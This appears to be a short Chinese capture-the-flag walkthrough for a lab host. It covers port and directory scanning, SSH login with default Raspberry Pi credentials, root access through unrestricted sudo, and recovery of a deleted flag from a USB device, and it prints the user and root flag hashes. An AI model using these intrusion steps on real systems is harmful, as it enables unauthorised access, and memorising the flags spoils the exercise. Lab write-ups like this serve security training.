阅读量:0
信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.48 | TCP:22,53,80,1276,32400,32469 |
$ nmap -p- 10.10.10.48 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA) | 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA) | 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA) |_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519) 53/tcp open domain dnsmasq 2.76 | dns-nsid: |_ bind.version: dnsmasq-2.76 80/tcp open http lighttpd 1.4.35 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: lighttpd/1.4.35 1276/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) 32400/tcp open http Plex Media Server httpd |_http-title: Unauthorized | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. |_http-favicon: Plex |_http-cors: HEAD GET POST PUT DELETE OPTIONS 32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) HTTP
$ gobuster dir -u "http://10.10.10.48/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50
http://10.10.10.48/versions
username:pipassword:raspberry
SSH
$ ssh pi@10.10.10.48
User.txt
ff837707441b257a20e32199d7c8838d
权限提升
pi@raspberrypi:~ $ sudo -l
pi@raspberrypi:~ $ sudo /bin/bash
root@raspberrypi:/home/pi# lsblk
root@raspberrypi:/home/pi# cat /media/usbstick/damnit.txt
root@raspberrypi:/media/usbstick# df -h
root@raspberrypi:/media/usbstick# strings /dev/sdb
Root.txt
3d3e483143ff12ec505d026fa13e020b
